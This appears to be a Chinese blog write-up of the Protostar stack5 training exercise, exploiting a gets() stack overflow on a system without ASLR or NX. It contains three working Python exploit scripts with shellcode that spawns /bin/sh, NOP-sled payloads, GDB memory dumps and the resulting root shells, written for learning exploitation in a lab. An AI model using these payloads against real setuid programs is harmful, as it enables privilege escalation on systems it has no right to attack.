传统栈溢出-(Exploit-exercise-protostar-stack5)

概述

传统栈溢出有这些特点:

没有ASLR

没有NX

 

题目来自https://exploit-exercises.com/protostar/stack5/

 

本来觉得很简单的,还是纠结了半天。

Exploit-exercise-protostar-stack5的第一个坑就是setuid程序的core dump没有打开。需要这样操作:

su - root #password:godmode

echo 1 > /proc/sys/fs/suid_dumpable #设置生成core文件

 

第二个坑就是gets缓冲区溢出需要进行特别的处理,使用特定的shellcode(关闭并重新打开stdin)或者使用管道。

Exp1

思路:shellcode放入缓冲区中;

 

GDB调试获取缓冲区地址为:0xbffffc70

 

编写代码pwn1.py

注意:shellcode_addr = 0xbffffc70;

#!/bin/python
import struct

shellcode = " \x6A\x46\x58\x31\xDB\x31\xC9\xCD\x80\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x51\x53\x89\xE1\x6A\x0B\x58\x99\xCD\x80 " ;

#shellcode_addr = 0xbffffc70; #Get by GDB debug
shellcode_addr = 0x bffffc90; #Get by gdb with coredump

payload = shellcode
payload += 'A'*( 64- len(shellcode))
payload += 'B'* 8
payload += 'C'* 4 #saved_ebp
payload += struct.pack( "<I", shellcode_addr)

print payload


GDB调试发现最终执行了/bin/dash

$ python ~/pwn1.py > ~/pwn1.b

$ gdb ./stack5

(gdb) r < ~/pwn1.b

Starting program: /opt/protostar/bin/stack5 < ~/pwn1.b

Executing new program: /bin/dash

 

Program exited normally.

(gdb) q

 

但是,不使用GDB时挂了

$  ulimit -c unlimited

$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5  

Illegal instruction (core dumped)

 

GDB调试发现缓冲区地址实际为0xbffffc90:

注意:非GDB运行和GDB运行,缓冲区的地址会有变化;

(gdb) x/64bx 0xbffffc90

0xbffffc90:     0xaa    0x46    0x58    0x31    0xdb    0x31    0xc9    0xcd

0xbffffc98:     0x80    0x51    0x68    0x2f    0x2f    0x73    0x68    0x68

0xbffffca0:     0x2f    0x62    0x69    0x6e    0x89    0xe3    0x51    0x53

0xbffffca8:     0x89    0xe1    0x6a    0x0b    0x58    0x99    0xcd    0x80

0xbffffcb0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0xbffffcb8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0xbffffcc0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0xbffffcc8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

 

现在修改缓冲区地址,后执行

shellcode_addr = 0xbffffc90;

$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5  

whoami

root

exit

 

注意:这里使用的”()”会生成一个子shell;

子shell中执行两条命令。

第一条命令将payload输出到标准输出,通过管道传输给stack5;

第二个命令cat从标准输入中读取数据输出到标准输出,也会通过管道传输给stack5;

 

使用<读取文件时结果是这样的:

$ python ~/pwn1.py > ~/pwn1.b

$ /opt/protostar/bin/stack5 < ~/pwn1.b

$ echo $?

0

程序拿到shell后,由于标准输入来自文件,已经读完了,因此直接退出了。

可以用strace观察到。

 

注意:

l Shellcode放到了缓冲区中,但是缓冲区的位置不是确定的,需要生成core后GDB调试获取;

l 缓冲区的位置可能在系统重启后不一样;

l 可以使用NOP Slot来消除这种不确定性。

l shellcode本身需要用到栈,如果缓冲区很小,则会shellcode的入栈会破坏shellcode代码。

EXP2

思路:

Shellcode放在返回地址后面,前面跟上NOP Slot;这可以消除缓冲区位置的不确定性。 

#!/bin/python
import struct

shellcode = " \x6A\x46\x58\x31\xDB\x31\xC9\xCD\x80\x6A\x0B\x58\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x51\x53\x89\xE1\x99\xCD\x80 " ;

buf_addr = 0x bffffcc0; #may vary
shellcode_addr = buf_addr+ 128 ;

payload = 'A'* 64
payload += 'B'* 8
payload += 'C'* 4 #saved_ebp
payload += struct.pack( "<I", shellcode_addr)
payload += ' \x90 '* 256
payload += shellcode

print payload


结果

$ ( python ~/pwn2.py ; cat ) | /opt/protostar/bin/stack5  

whoami

root

exit

Gets缓冲区溢出

对于gets缓冲区溢出,使用一般的shellcode搞不定:stdin应该被关闭和重新打开。

还有一种方式是使用管道,如下:

( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5

 

现在使用新的shellcode,来自https://www.exploit-db.com/exploits/13357/。

pwn3.py

#!/bin/python
import struct

shellcode = " \x31\xC0\x31\xDB\xB0\x06\xCD\x80\x53\x68\x2F\x74\x74\x79\x68\x2F\x64\x65\x76\x89\xE3\x31\xC9\x66\xB9\x12\x27\xB0\x05\xCD\x80\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x99\xB0\x0B\xCD\x80 "

buf_addr = 0x bffffcc0; #may vary
shellcode_addr = buf_addr+ 128

payload = 'A'* 64
payload += 'B'* 8
payload += 'C'* 4 #saved_ebp
payload += struct.pack( "<I", shellcode_addr)
payload += ' \x90 '* 256
payload += shellcode

print payload


可以使用<进行重定向了:

$ python ~/pwn3.py > ~/pwn3.b

$ /opt/protostar/bin/stack5 < ~/pwn3.b

# whoami

root

# exit

结论

l GDB环境与非GDB环境下运行程序时,栈缓冲区的位置不一样;非GDB环境下的地址大于GDB环境下的地址;

l 可以使用NOP Slot来消除栈缓冲区位置的不确定性;

l gets缓冲区溢出需要进行特别的处理;

使用特定的shellcode(关闭并重新打开stdin)或者使用管道;

使用管道的示例:

( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5

参考文章

1. https://exploit-exercises.com/protostar/stack5/

2. http://sh3llc0d3r.com/protostar-exploit-exercises-stack5/

猜你喜欢

转载自blog.csdn.net/luozhaotian/article/details/79894994
今日推荐